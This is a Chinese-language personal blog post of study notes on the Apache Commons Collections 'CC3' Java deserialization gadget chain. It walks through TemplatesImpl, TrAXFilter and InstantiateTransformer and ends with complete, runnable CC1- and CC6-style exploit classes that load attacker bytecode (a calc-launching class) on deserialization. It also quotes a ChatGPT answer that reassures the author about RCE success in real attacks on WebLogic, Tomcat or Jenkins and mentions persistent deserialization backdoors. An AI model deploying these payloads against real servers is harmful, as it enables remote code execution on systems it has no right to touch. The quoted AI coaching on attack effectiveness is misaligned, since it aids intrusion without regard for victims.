CC3

刚开始学习JAVA还是有点蒙的,但好在坚持下来了。

CC3链与CC1和CC6区别很大,CC3是通过动态加载类机制实现自动执行恶意代码。

恶意类Calc

1
2
3
4
5
6
7
8
9
10
11
import java.io.IOException;

public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}

java.lang.ClassLoader,此时的 defineClass() 方法是有局限性的,因为它只是加载类,并不执行类。若需要执行,则需要先进行 newInstance() 的实例化。

TemplatesImpl 解析

java.lang.ClassLoader

中有很多个defineClass()的重载。

1
2
3
4
5
6
7
8
9
10
11
12
@Deprecated //已弃用
protected final Class<?> defineClass(byte[] b, int off, int len)

protected final Class<?> defineClass(String name, byte[] b, int off, int len)
实际调用的是defineClass(String name, byte[] b, int off, int len, null)

protected final Class<?> defineClass(String name, byte[] b, int off, int len,ProtectionDomain protectionDomain)

protected final Class<?> defineClass(String name,java.nio.ByteBuffer b,ProtectionDomain protectionDomain)
//支持ByteBuffer输入,适用于直接内存加载(减少内存复制)

defineClass 0-2native,`native` 关键字用于声明本地方法(Native Method),使用其他语言实现

这里选择如下:

1
2
3
4
5
protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null);
}

find usage寻找调用

TransletClassLoader.defineClass()

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader是一个内部类,defineClass就是此类中的方法

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

TemplatesImpl.defineTransletClasses()

defineTransletClasses(),_bytecodes不能为null,否则会抛出异常

1
2
3
4
5
6
7
8
9
10
11
12
    private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
//...
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
//...
}

_bytecodes是在构造时传入的,但是不是public,无法直接调用

1
2
3
4
5
6
7
protected TemplatesImpl(byte[][] bytecodes, String transletName,
Properties outputProperties, int indentNumber,
TransformerFactoryImpl tfactory)
{
_bytecodes = bytecodes;
init(transletName, outputProperties, indentNumber, tfactory);
}

TemplatesImpl.getTransletInstance()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

getTransletInstance()中有一个 newInstance()实例化的过程。实例化的 _classdefineclass()加载的类。但是需要注意两个if

1
2
3
_name != null
_class == null
此时函数触发

image-20250328222825730

TemplatesImpl.newTransformer()

newTransformer()很熟悉啊,而且是public

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

梳理+测试

1
2
3
4
5
6
7
8
9
TemplatesImpl.newTransformer()

_name != null
_class == null
TemplatesImpl.getTransletInstance()

_bytecodes != null
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()

此外,还需要注意属性 _tfactory == null,会空指针错误。

1
private transient TransformerFactoryImpl _tfactory = null;

ctrl+左键,寻找相关

1
_tfactory = new TransformerFactoryImpl();

又报错了

1
2
3
4
5
6
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}

调试查看

image-20250328232418571

_auxClasses为null,初始化为一个HashMap,但是加载的类起码要两个,所以反射搞搞。

1
2
3
if (classCount > 1) {
_auxClasses = new HashMap<>();
}

defind的类没有继承ABSTRACT_TRANSLET,则会是初始值-1。直接反射,绕过if试试,试试就逝世,总有点小问题。

1
2
3
4
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}

其实没必要反射,可以直接继承一下的

恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.IOException;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

CC1 链的 TemplatesImpl 的实现方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
    @Test
public void test() throws Exception {
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};

TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();

Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");

Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, codes);

Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());

Field _auxClasses = clazz.getDeclaredField("_auxClasses");
_auxClasses.setAccessible(true);
_auxClasses.set(templates, new HashMap<>());

// 实现
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// CC1 实现
chainedTransformer.transform(1);
}

1是作为 ConstantTransformer.transform()的参数。

CC6 链的 TemplatesImpl 的实现方式

CC6这里出了点问题

image-20250329135705613

丢掉_auxClasses的初始化试一试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
    @Test
public void testCC6() throws Exception {
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};

TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();

Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");

Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, codes);

Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

ConstantTransformer constantTransformer= new ConstantTransformer("123");

HashMap map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, constantTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");

HashMap<TiedMapEntry,Object> hashMap = new HashMap<>();

hashMap.put(tiedMapEntry,"value");
map.remove("key");

Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);

serializable(hashMap);
unserializable("ser.bin");
}

回归CC3

image-20250329143449077

_main 没有后续被调用

getOutputProperties还是跑到了_main

newTransformer里面的templates是定死了的。

1
2
3
4
5
6
7
8
9
10
11
@Override
public Transformer newTransformer(Source source) throws
TransformerConfigurationException
{
final Templates templates = newTemplates(source);
final Transformer transformer = templates.newTransformer();
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
return(transformer);
}

newTransformerHandler跑到了_main

TrAXFilter

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter在初始化的时候调用newTransformer()

1
2
3
4
5
6
7
8
public TrAXFilter(Templates templates)  throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}

这时候可以通过继续寻找调用或者反射获取构造函数继续。

InstantiateTransformer

org.apache.commons.collections.functors.InstantiateTransformertransform是实例化一个对象,我们可以通过ChainedTransformer实现调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InstantiateTransformer: The constructor must exist and be public ");
} catch (InstantiationException ex) {
throw new FunctorException("InstantiateTransformer: InstantiationException", ex);
} catch (IllegalAccessException ex) {
throw new FunctorException("InstantiateTransformer: Constructor must be public", ex);
} catch (InvocationTargetException ex) {
throw new FunctorException("InstantiateTransformer: Constructor threw an exception", ex);
}
}

参数传递和InvokerTransformer一致,实例化时传入。

1
2
3
4
5
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

后面可通过CC1和CC6的两种方式调用

后半

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
    @Test
public void test2() throws Exception {
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};

TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();

Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");

Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, codes);

Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());

// Field _auxClasses = clazz.getDeclaredField("_auxClasses");
// _auxClasses.setAccessible(true);
// _auxClasses.set(templates, new HashMap<>());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}

属性 _auxClasses的存在会影响CC6的链子错误,但是CC1的链子不影响

最终

CC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3one {
public static void main(String[] args) throws Exception {
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};

TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();

Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");

Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, codes);

Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
});

HashMap hashMap = new HashMap();
Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);

Class<?> annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object h = declaredConstructor.newInstance(Target.class,lazymap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
(Class<?>[]) new Class[]{Map.class}, (InvocationHandler) h);

h = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

serializable(h);
unserializable("ser.bin");
}

public static void serializable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserializable(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}

CC6实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC3six {
public static void main(String[] args) throws Exception {
byte[] evil = Files.readAllBytes(Paths.get("D:\\javaSec\\CC\\src\\main\\java\\Calc.class"));
byte[][] codes = {evil};

TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();

Field _name = clazz.getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templates, "test");

Field _bytecodes = clazz.getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templates, codes);

Field _tfactory = clazz.getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templates,new TransformerFactoryImpl());

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
});

ConstantTransformer constantTransformer= new ConstantTransformer("123");

HashMap map = new HashMap<>();
Map lazymap = LazyMap.decorate(map, constantTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "key");

HashMap<TiedMapEntry,Object> hashMap = new HashMap<>();

hashMap.put(tiedMapEntry,"value");
map.remove("key");

Class c = LazyMap.class;
Field fieldfactory = c.getDeclaredField("factory");
fieldfactory.setAccessible(true);
fieldfactory.set(lazymap,chainedTransformer);

serializable(hashMap);
unserializable("ser.bin");
}

public static void serializable(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserializable(String path) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));
return ois.readObject();
}
}

小摊

看到代码会报错,但是命令成功执行,有点慌。看看chatgpt的回复。没师傅带是这样的。

如果反序列化时 命令已经成功执行,但代码仍然报错,这在 实际利用场景 下 通常不会影响 攻击效果,原因如下:

  1. 利用链已成功触发恶意代码执行
    • 你的 Calc.class 已被 TemplatesImpl 解析,并且 Runtime.getRuntime().exec("calc") 已经执行,说明 恶意字节码已经生效。
    • 反序列化报错的部分 很可能是执行完恶意代码后,反序列化流程本身出错,但这不会影响你的 RCE(远程代码执行)。
  2. 实际攻击场景通常是一次性利用
    • 在 真实攻击场景(如攻击 Weblogic、Tomcat、Jenkins)中,攻击者的目标是执行命令,而不是保持对象的完整性。
    • 命令成功执行即表示攻击成功,后续的反序列化错误 不会影响攻击效果,因为攻击者可能会直接断开连接。

虽然错误 不会影响 RCE,但在某些情况下,可能会影响后续的攻击步骤:

  1. 如果目标环境要求返回合法对象
    • 某些 Web 应用可能期望反序列化后的对象可以正常使用(比如存入数据库、继续传输)。
    • 这种情况下,反序列化失败 可能导致整个请求失败,暴露异常日志。
  2. 攻击者希望持续利用
    • 如果你想通过 反序列化后门 植入持久化恶意对象,确保下一次反序列化时依旧可用,反序列化报错 可能影响后续利用。

结论

如果你的目标是 RCE(远程代码执行),那么命令执行成功,报错无影响。 但如果你希望持久化攻击或让反序列化流程完整执行,则需要优化利用链,以避免错误

所以有些事情不是绝对的,实战会测试一番。


CC3
https://rpniu.github.io/2025/03/29/CC3/
作者
rPniu
发布于
2025年3月29日
许可协议